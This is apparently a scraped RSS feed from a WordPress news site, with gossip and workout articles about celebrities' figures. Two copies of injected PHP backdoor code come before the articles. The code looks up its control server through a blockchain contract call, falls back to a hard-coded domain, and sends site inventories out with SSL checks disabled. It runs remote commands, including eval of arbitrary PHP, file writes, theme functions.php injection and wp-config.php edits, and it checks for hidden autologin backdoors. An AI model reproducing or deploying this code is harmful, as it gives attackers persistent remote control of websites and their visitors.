// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Derriere – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 10 Apr 2018 22:06:13 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Derriere – Brief News https://briefnews.eu 32 32 Eugenie Bouchard: Genie shows off derriere and toned abs in funny Instagram video https://briefnews.eu/eugenie-bouchard-genie-shows-off-derriere-and-toned-abs-in-funny-instagram-video/ https://briefnews.eu/eugenie-bouchard-genie-shows-off-derriere-and-toned-abs-in-funny-instagram-video/#respond Tue, 10 Apr 2018 22:06:13 +0000 http://briefnews.eu/eugenie-bouchard-genie-shows-off-derriere-and-toned-abs-in-funny-instagram-video/

Eugenie Bouchard, 24, is a Canadian professional tennis player who also models for Sports Illustrated.

Eugenie, also known as Genie Bouchard on her 1.7 million follower strong Instagram account, regularly posts pictures of herself training.

She usually shows off her gorgeous figure in shorts and crop tops as she trains on the tennis court or at the gym.

Her most recent Instagram post shows off the beautiful blonde’s fun personality as she pokes fun at herself.

The video features the model in tiny white shorts and a black and yellow floral crop top.

In the video, she begins with both legs up in the air resting on the side of a raised gym machine.

Then she spread eagles her legs in the air, raising one behind her head.

However, she soon puts both legs together again and wriggles off the machine using her hands to pull her forward on the floor.

What is going on? The caption on the Instagram post gives us a clue.

Eugenie wrote: “So I was trying to show that I could front flip off this machine but cuz I didn’t wanna impress anyone too much decided to just get off the normal human way.”

Fans recognised and appreciated the playful spirit of Eugenie’s post.

One commented: “and for your next magic trick a flying back spin of the chin up bars…fun IG post” with a thumbs up sign.

Another wrote: “Awwwkwaaard! You always look good trying though.”

However, another fan wanted to put a stop to Eugenie’s fun, commenting: “Oops, don’t slip and fall and then sue the gym for having the machine there. “

The fan was referring to a lawsuit Eugenie took out against the United States Tennis Association in which she claimed for an injury she sustained in 2015.

Yesterday, Eugenie posted a sexy bikini picture next to a very different photo of herself side by side in an Instagram image.

On the left, there is an image of her in tennis dear including a visor and sleeveless top, with her racket raised in the air during a tennis match.

The right image features a very different photo taken from Eugenie’s Sports Illustrated shoot where she is wearing a skimpy bikini with risque nude panelling.

It is captioned: “If you don’t love me at my, you don’t deserve me at my…”

Eugenie was following a social media challenge started by Mariah Carey, which plays on the Marilyn Monroe quote “If you don’t love me at my worst, you don’t deserve me at my best”.

It involves the user posting a photo of them at their “worst”, next to them at their “best”.

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]]> https://briefnews.eu/eugenie-bouchard-genie-shows-off-derriere-and-toned-abs-in-funny-instagram-video/feed/ 0 Weight loss: Bum exercises for the four different DERRIERE shapes – which one are you? https://briefnews.eu/weight-loss-bum-exercises-for-the-four-different-derriere-shapes-which-one-are-you/ https://briefnews.eu/weight-loss-bum-exercises-for-the-four-different-derriere-shapes-which-one-are-you/#respond Fri, 16 Mar 2018 20:17:45 +0000 http://briefnews.eu/weight-loss-bum-exercises-for-the-four-different-derriere-shapes-which-one-are-you/

weight loss bum exercises picturesGetty

Weight loss: Bum exercises can help to target your derriere

Weight loss journeys often include toning your bum, but first you have to identify the best exercises for the shape of your behind.

Trainer and fitness expert Em Furey has provided an insightful guide to getting the bum you want, based on what it looks like right now.

So which bum shape are you? Are you a perky round shape, or a somewhat lacking in volume invested V shape?

You might also be a curvaceous square shape, or a volume-heavy heart shaped bum type – depending on where you store fat.

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Square bum

“The square shapes fall lower on the bottom with excess volume up top. If you have a square shape bum, then it is important to build big glutes to fill out the back of your bikini bottoms,” said Em Furey.

“The focus muscle should mainly be on the gluteus medias for a squared shape bum. Because this particular shape can create that ‘muffin top’ look on the love handles area, the way to eliminate those would be to incorporate rotation exercises such as rotation lunges.

“Rotation lunges will train the abs and trim the waist down by targeting the obliques as well as the abdominal muscles. To perform a rotation lunge, you lunge forward and twist the torso the same side with whichever leg is in the lunge, to add weights to that will increase intensity.”

Weight loss bum exercises can target your specific DERRIERE shape

Round bum

“If you have a round shape bum, your o-shaped derriere has a perky side view however the fat is distributed around the cheeks. In contrast to the square shapers, you do not have an issue with the volume of your bum so toning is the focus here.”

“This is the shape to do glute exercises which hit all angles such as the lunge matrix.

“The lunge matrix is when you forward lunge and then on the way coming back to the other foot you take it out fluidly and laterally to the side in another lunge whilst keeping the other leg straight.

“The change in direction will switch on the other parts of the glutes. Plies is another great exercise for the round bum shape; this is done in second position in ballet terms by externally rotating the hips and turning the feet out so the toes point outwards, lowering into a deep squat position and then coming back up and squeezing the glutes at the top.”

weight loss bum exercises picturesGetty

Weight loss: Bums which are flat can be enhanced by kettlebell exercises

Lose belly fat with five simple exercises

Thu, October 26, 2017

Lose belly fat with Express. Do three rounds of this circuit of five exercises, resting for a minute in between each round. Try to do it three times this week. You’ll quickly see results.

Lose belly fat with five simple exercises

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Lose belly fat with these simple exercises

Heart shaped bum

“The heart shaped bums have volume in the gluteus maximus area, however have fat distribution around the lower portion of the bum and thighs.

“The focus is on the gluteus medius here as the heart shaped bum typically doesn’t lack much in the gluteus maximus area.

Training the hamstrings and gluteus medius will help lift the gluteus medius area and can be targeted through single leg squats i.e pistol squats.

Pistol squats are performed by standing firmly on one leg with one leg out in front. Slowly bending down on the standing leg into squat position and bringing it back unto the top relying on that one leg to bring the body back up.

This is a tough exercise but it will engage your core and improve posture as you have to keep a straight back throughout the exercise.”

weight loss bum exercises picturesGetty

Weight loss: Round bum types should focus on toning

Inverted V shape

“For those with the inverted v shape bum, means that you’re is lacking in volume compared to the other shapes so requires a lot of focus on the gluteus maximus to add volume and tone as muscles are usually looser.”

“Gluteus maximus is the main focus here in the inverted V shape bum, this needs to get fired up to achieve a lift in those posterior glute muscles. An example of an exercise to do if you have this shape bum would be goblet squats.

Holding a heavy kettlebell to your chest with both hands and with the feet out wide in a squat stance position, you squat down as deep as you can in your range of motion whilst always keeping the back straight and then pushing the heels into the floor.

Once at your maximum ROM, you drive up to the top and squeeze the glutes at the top.”

 

]]> https://briefnews.eu/weight-loss-bum-exercises-for-the-four-different-derriere-shapes-which-one-are-you/feed/ 0 All Eyes Trained On The Trainer! Khloe Kardashian Toned Derriere On Display https://briefnews.eu/all-eyes-trained-on-the-trainer-khloe-kardashian-toned-derriere-on-display/ https://briefnews.eu/all-eyes-trained-on-the-trainer-khloe-kardashian-toned-derriere-on-display/#respond Fri, 27 Jan 2017 09:18:52 +0000 http://briefnews.eu/all-eyes-trained-on-the-trainer-khloe-kardashian-toned-derriere-on-display/ Khloe Kardashian toned derriere on display

When Khloe Kardashian literally turns her back on you these days, what you see is a toned posterior! This follows a battle she has fought and successfully won over her weight issues.And the toned derriere was all on show in a video she did while shooting a product campaign for one of the products she is now endorsing as the reality TV star has recently become the official face of Protein World, a nutrition supplement.

Okay guys, for everyone asking and wanting the scoop on my new fitness regime try a @ProteinWorld shake ???? tastes amazing, trust me and get 30% off with discount code Khloe30 #ProteinWorld #PW30DayChallenge #pwcollab ????????????????????????

A video posted by Khloé (@khloekardashian) on

Khloe Kardashian toned derriere on display in a behind-the-scenes video

In a behind-the-scenes video for a campaign that she shared, Khloe can been seen wearing an old-school aerobics bodysuit.The shooting of the behind-the-scenes video began with the reality TV star captured in a white body suit that had a pink ribbon around the waist and leg warmers that were white. She was also wearing dance tights and a hooded sweater that was green. The social media influencer could then be seen posing and prancing around the set of the studio.

Khloe Kardashian toned derriere on display
[Image by Jamie McCarthy/Getty Images]

To give her hair a ‘windblown’ look, a leaf blower was pointed at the star by a team consisting of Khloe’s hairstylist, Jen Atkin and an assistant. The reality star also engaged in one of her favorite physical exercises during the shooting of the exercise video – taking selfies. Since she was in an aerobics suit one can only hope her audience does not think that taking selfies constitutes exercise!

After the selfies, Khloe took off the hoodie and she proceeded to take photos by a full-length mirror that was attached to the wall. As the brand ambassador posed with a bottle containing Protein World’s tablets, the photographer crouched low to get a good angle of the model.

Hot in pink

The video shoot was not, however, restricted to the indoors as it soon moved to a poolside. Here Khloe spotted two different looks, one of which was Khloe lounging on the deck wearing a hot pink monokini.

One other trade secret that fans of the reality star got to learn from watching the video was that it takes resources to take a perfectly good picture. To get perfect lighting all over the Khloe Kardashian toned derriere on display, large reflectors were used.

Khloe Kardashian toned derriere on display
[Image by Slaven Vlasic/Getty Images]

Khloe’s final look was one in which she wore a one-piece cut in canary yellow color that had a scoop neckline. Shine spray was then applied on Khloe making her look even sexier in the one-piece bikini that was high on the hips.After the photo shoot, Khloe admitted that she enjoyed the whole process.

“I felt like a total fitness Barbie during this Protein World photo shoot,” Khloe wrote on her website after sharing the video online.

Keeping up the with the entrepreneurship spirit

Other than becoming the brand ambassador for Protein World, Khloe now has her own reality show – Revenge Body that airs on the same channel as Keeping Up With The Kardashians.

Incredibly elated for the premiere of Revenge Body tomorrow!! 8/7c on E

A photo posted by Khloé (@khloekardashian) on

The inspiration for Revenge Body is based on the fact that when the Kardashians first came into the limelight, Khloe was often the butt of jokes because she was chubby. But after splitting from her husband Lamar Odom, the gym became her only solace. It had a transformative effect on her, both physically and mentally. And thus the Khloe Kardashian toned derriere on display.

